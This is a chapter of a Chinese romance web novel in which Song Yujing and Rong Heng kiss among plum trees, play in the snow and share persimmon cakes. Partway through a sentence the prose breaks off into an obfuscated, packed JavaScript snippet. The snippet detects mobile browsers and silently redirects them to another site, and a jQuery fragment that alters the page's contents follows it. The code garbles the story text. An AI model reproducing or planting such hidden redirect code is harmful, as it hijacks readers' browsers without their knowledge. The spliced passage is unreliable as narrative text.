而他的动作越发温柔,近似诱哄着她松开齿关,恍惚间有更加温热柔软的东西溜了进去。 唇舌相依,纠缠不休。 浑身如坠云间,轻飘飘的没有实感,脑海里晕成一片浆糊,连彼此何时分开都不知道。 心跳快得如同鼓擂作响,浑身热意汹涌,直到鼻尖被人蹭了蹭,轻微痒意拉回她随风飘至天边的思绪。 宋予静恍惚抬眸。 墨玉般眼眸近在咫尺,浅浅地倒映出她遍布红晕的脸,容珩略显急促的呼吸拂过脸颊,在寒风中依旧炙热,生出一股灼人的痒意。 他的指腹抚过滚烫的唇瓣,轻声细语:“这才叫真正的亲吻。” 呢喃轻语的几个字飘进耳朵里,足足半晌后,她才意识到他说的是什么,先前与他纠缠的感觉再次涌上心头,烫得她心尖发颤。 宋予静猛地抱住他,深深埋首在怀里,试图避开那双蕴满情意的眼眸。 容珩的怀抱很温暖,替她遮挡寒风,耳边是他低沉有力的心跳声,比以往跳得更快。 她紧紧抱住他的腰,忽然听见他暗哑的声音自头顶传来:“你喜欢这样吗?” 这种事情要她怎么回答?! 刚刚消退几分热意再度上涌,宋予静干脆不说话,缩起来当做没听见。 容珩的手搭在腰间,而她迟迟没有回答,不由一紧。 “静静……” 她终于抬头,看清他眼中的紧张,顶着满脸热气,哼道:“你不准那样问!反正……反正……” 来回说了“反正”二字半天,她的声音渐渐低下来,小声咕哝:“……不讨厌。” 容珩一怔,骤然漾开灿烂笑容,艳如朝阳。 宋予静失神地望着他,反应过来后,努力从他的怀里逃出来,顺手抓了些梅枝上的白雪,融在掌心,拍拍脸,勉强压下脸颊几分热意。 容珩很快就从后面跟上来,拉住她的手腕,五指卡进她的指缝,与她十指紧扣。 他并肩站在身侧,体贴地没有再提及先前之事,眉眼间依旧蕴满深深笑意。 她长长地呼出一口气,暗暗告诉自己不要再想刚才的事情,努力将心思放在花园美景。 梅林里的小路扫得干净,几乎没有什么雪,其他地方堆积一层厚厚的雪。 宋予静转头看看身侧的容珩,转转眼睛,停下脚步,“阿珩,我们面对面站着。” 容珩不明所以,往旁边一迈,站在她的面前。 她朝他伸出另一只手,摊开掌心,“握住我的手,然后你往后倒退。” “你想玩什么游戏吗?”容珩牵住她的手,缓步倒退。 她摇摇头,笑而不语。 雪深,随着他的倒退,雪地里被踩出一串浅坑。 宋予静低头盯着雪地里的印记,踩了进去,因他的脚掌比她的大,堪堪踩准,几乎不曾破坏他留下的脚印。 走到一株梅树前,她驻足回望,皑皑白雪里,只留下一个人的脚印。 “好玩吗?”她脆声笑起来,“你看,那是我们一起走出来的!” 容珩望了一眼,再看向她,“好玩。” “那现在我们换一下位置。” 见他点头,宋予静换了个新方向,牵住他的手,缓步往后倒退。 容珩学她之前的模样,每步都踩在她的脚印上。 退至一株红梅树下,她停下脚步,挠挠他的手心,“是不是感觉不一样了?” “嗯,因为是你在带着我前行。” 她笑笑,又问:“你以前跟人玩过这种游戏吗?” “没有。”容珩摇头,“往年冬天,我最多是临窗而坐,赏看窗外飘雪罢了。” 回想今日与他一起堆雪狮、赏红梅映雪,刚才还像教小孩子走路一样拉着他的手,宋予静用力一拽。 容珩一时不察,被她拉到面前,微微歪头,目露一分疑惑。 她抬手抚过他的眉眼,一字一句认真道:“以前没有玩过也没关系,以后我会带你尝试更多好玩的、好吃的、好看的。” 容珩定定看着她:“好。” 在园子里闲逛了两刻多钟,宋予静拉着容珩回到世子院。 刚进屋,仆妇送上暖手炉,在案几放好热茶糕点。 手指贴在暖手炉,指尖抚过繁复花纹,她问:“你拿的是什么?” “药膏。”容珩打开盒盖,露出浅青色的膏药,挑起一块抹在掌心,仔细匀开,“把手给我。” 宋予静伸手。 容珩握住她的左手,掌心贴在手背,细细擦过整个手背,又捻了些许药膏,抹在手指,仔细认真擦匀,连指缝都没有漏掉。 药膏微凉,刚抹上去时,泛起一股凉意,随他的涂抹,慢慢渗进肌肤里,凉意渐渐散去。 待他涂好两只手,宋予静才问:“这是什么药膏?” “防冻伤的。”容珩神色一松,“之前在花园里堆雪狮子时,你的手被冻得有些红,加上第一次在京城过冬,擦些药膏,以免被冻伤,也不容易长出冻疮。” “其实还好吧。”她翻看双手,“回京前,父亲、母亲带着我们去了趟边塞,雪也下得挺大,风沙更重。” “那也不可以大意。” 他毕竟是担心自己,宋予静朝他笑笑,伸手抓起药盒,“你也在外面堆了雪狮,也要擦药,伸手。” 不等容珩回答,她直接抓起他的手,依照他刚才的步骤,认真地为他擦好药膏。 容珩收拾好药膏,往茶杯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13678111|131837||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里续上花茶,“最近会不会很忙?快要过年了。” “主要都是父亲和母亲在准备过年的各种事宜,我和哥哥就帮忙搭把手,分给我的事情不算多,再匀成几天,不算太忙。” 宋予静喝了半杯花茶,问:“那你呢?国公府是不是就你在忙?” “尚可,往年都是如此,我已经习惯了。”容珩顿了顿,“除夕你有什么安排。” 她想了想,回答:“白天帮忙准备祭祖,夜里和父亲他们吃完团圆饭,再一起守岁,往年我都会玩到丑时,不过正旦要进宫朝贺,可能最多就到子时末。” “我知道了。” “你呢?” “差不多,与父亲还有府里的弟妹一起守岁,到子时初,我便会回来。” 想起他与镇国公的关系,宋予静试图想象这对父子相对守岁的场景,有其他子女在场,应该不至于冷冰冰得无人欢笑吧? 她有心再问几句,却见屋外走进一名仆妇,放下一盘柿饼后,迅速退了出去。 “我让人做的柿饼。”容珩拿起一枚扁圆的柿饼,撕下一小块,“我尝过,甜味浓,大概合你的口味。” 柿饼表面是一层薄薄白雪,撕开后,露出里面的深红色果肉,里外两色对比,越发令人食指大动。 宋予静不再多问,低头一咬。 果肉绵软顺滑,慢慢咀嚼,浓郁甜味在舌尖散开,盈满口中,还带有一股浅淡的柿子香,但没有柿子的涩味。 “好吃!” 容珩笑意更深,撕下一块柿饼,递到她的唇边。 接连吃了两块柿饼,见他又要拿起一块柿饼,宋予静连忙阻止:“不用啦,吃太多甜的也不好。” 容珩便放下柿饼,转头看向她,忽然伸手按住她的唇,温柔擦过,解释道:“沾到白霜了。” 与昨日相似的场景,可经过刚刚在红梅林的那一回,她的思绪不受控制地飘远,视线不由自主落在他的薄唇。 容珩慢慢靠近,“你在看什么?” “没什么!”她矢口否认,抓起盘子里的柿饼,撕成两半,直接喂他吃了半块,“阿珩,你再尝尝柿饼,不能光我一个人吃。” 容珩挑眉,顺势咬住柿饼。 知道他口味偏淡,不爱吃甜,她只喂了一块,便停下手。 一直待到暮色将至,尽管说了不用送,容珩依旧牵住她的手走出屋外。 整整半天都待在一起,临到分开的时候,宋予静还是觉得不舍,瞧见越来越近的府门,脚步渐渐慢下来。 公主府的马车停在门口,车夫摆好马杌,垂手站在旁边。 她拉住他的手,再不愿意松开,也得说:“我要回家了。” 容珩同样没有松开,单手替她拉紧斗篷边缘。 宋予静环顾四周。 门房低头站在府门内,车夫也低着头,站在马车另一侧。 她咽了口唾沫,踮起脚尖,猛地拉住他的斗篷兜帽,往下一扯。 两人瞬间靠近,四目相对,呼出的热气被困在方寸之间。 她迅速在他的唇上轻轻一碰,又凑到他的耳边,压低声音极快地说:“我下次一定改!” 容珩蹭了蹭她的脸颊,轻声道:“好。”